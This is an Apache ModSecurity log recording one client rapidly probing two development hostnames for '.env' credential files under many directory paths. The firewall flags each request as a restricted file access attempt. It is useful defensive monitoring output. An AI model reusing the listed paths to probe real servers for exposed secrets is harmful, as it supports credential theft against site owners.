[Fri Jul 17 09:14:22.350116 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFkgVnBK6wAv37w6vrAAAABQ"]
[Fri Jul 17 09:14:22.516989 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/crm/.env"] [unique_id "almlFoe39YUk0SgV8AU9NAAAABE"]
[Fri Jul 17 09:14:22.517264 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/crm/.env"] [unique_id "almlFoe39YUk0SgV8AU9NAAAABE"]
[Fri Jul 17 09:14:22.517503 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFoe39YUk0SgV8AU9NAAAABE"]
[Fri Jul 17 09:14:22.548763 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFrEWOaI5pmYo9fnRzgAAAAA"]
[Fri Jul 17 09:14:22.686987 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/erp/.env"] [unique_id "almlFgRRrtuZqNDDSqWzMwAAABo"]
[Fri Jul 17 09:14:22.687261 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/erp/.env"] [unique_id "almlFgRRrtuZqNDDSqWzMwAAABo"]
[Fri Jul 17 09:14:22.687527 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFgRRrtuZqNDDSqWzMwAAABo"]
[Fri Jul 17 09:14:22.692359 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:22.720742 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.yml"] [unique_id "almlFl1_86A5R6msWNfXagAAABI"]
[Fri Jul 17 09:14:22.722523 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.yml"] [unique_id "almlFl1_86A5R6msWNfXagAAABI"]
[Fri Jul 17 09:14:22.857650 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shop/.env"] [unique_id "almlFg7FYe46zHK_jL3S_gAAABk"]
[Fri Jul 17 09:14:22.857938 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shop/.env"] [unique_id "almlFg7FYe46zHK_jL3S_gAAABk"]
[Fri Jul 17 09:14:22.858241 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFg7FYe46zHK_jL3S_gAAABk"]
[Fri Jul 17 09:14:22.956718 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFl1_86A5R6msWNfXagAAABI"]
[Fri Jul 17 09:14:23.026178 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/store/.env"] [unique_id "almlF0gVnBK6wAv37w6vrQAAABQ"]
[Fri Jul 17 09:14:23.026406 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/store/.env"] [unique_id "almlF0gVnBK6wAv37w6vrQAAABQ"]
[Fri Jul 17 09:14:23.026660 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlF0gVnBK6wAv37w6vrQAAABQ"]
[Fri Jul 17 09:14:23.107451 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:23.126405 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/app/.env"] [unique_id "almlF4e39YUk0SgV8AU9NQAAABE"]
[Fri Jul 17 09:14:23.127927 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/app/.env"] [unique_id "almlF4e39YUk0SgV8AU9NQAAABE"]
[Fri Jul 17 09:14:23.194317 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/saas/.env"] [unique_id "almlF-jME1mgqYZ5O94pWAAAAAE"]
[Fri Jul 17 09:14:23.194613 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/saas/.env"] [unique_id "almlF-jME1mgqYZ5O94pWAAAAAE"]
[Fri Jul 17 09:14:23.194870 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlF-jME1mgqYZ5O94pWAAAAAE"]
[Fri Jul 17 09:14:23.309534 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:23.341961 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlF4e39YUk0SgV8AU9NQAAABE"]
[Fri Jul 17 09:14:23.363370 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/client/.env"] [unique_id "almlFyRF0UOO1RzB5_8xQAAAAA4"]
[Fri Jul 17 09:14:23.363768 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/client/.env"] [unique_id "almlFyRF0UOO1RzB5_8xQAAAAA4"]
[Fri Jul 17 09:14:23.364191 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFyRF0UOO1RzB5_8xQAAAAA4"]
[Fri Jul 17 09:14:23.510253 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/apps/.env"] [unique_id "almlFw7FYe46zHK_jL3S_wAAABk"]
[Fri Jul 17 09:14:23.511475 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/apps/.env"] [unique_id "almlFw7FYe46zHK_jL3S_wAAABk"]
[Fri Jul 17 09:14:23.531676 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/project/.env"] [unique_id "almlF1CBpfuYyhJ140vVxQAAAB4"]
[Fri Jul 17 09:14:23.531951 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/project/.env"] [unique_id "almlF1CBpfuYyhJ140vVxQAAAB4"]
[Fri Jul 17 09:14:23.532219 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlF1CBpfuYyhJ140vVxQAAAB4"]
[Fri Jul 17 09:14:23.700245 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/admin-panel/.env"] [unique_id "almlF0gVnBK6wAv37w6vrgAAABQ"]
[Fri Jul 17 09:14:23.700537 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/admin-panel/.env"] [unique_id "almlF0gVnBK6wAv37w6vrgAAABQ"]
[Fri Jul 17 09:14:23.700803 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlF0gVnBK6wAv37w6vrgAAABQ"]
[Fri Jul 17 09:14:23.746374 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFw7FYe46zHK_jL3S_wAAABk"]
[Fri Jul 17 09:14:23.835335 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:23.868234 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /control-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/control-panel/.env"] [unique_id "almlF4l9vhFBGA6D8l99IwAAAAw"]
[Fri Jul 17 09:14:23.868519 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/control-panel/.env"] [unique_id "almlF4l9vhFBGA6D8l99IwAAAAw"]
[Fri Jul 17 09:14:23.868779 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlF4l9vhFBGA6D8l99IwAAAAw"]
[Fri Jul 17 09:14:23.916149 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/.env"] [unique_id "almlFzsMb3am0TgkjETd4QAAAAo"]
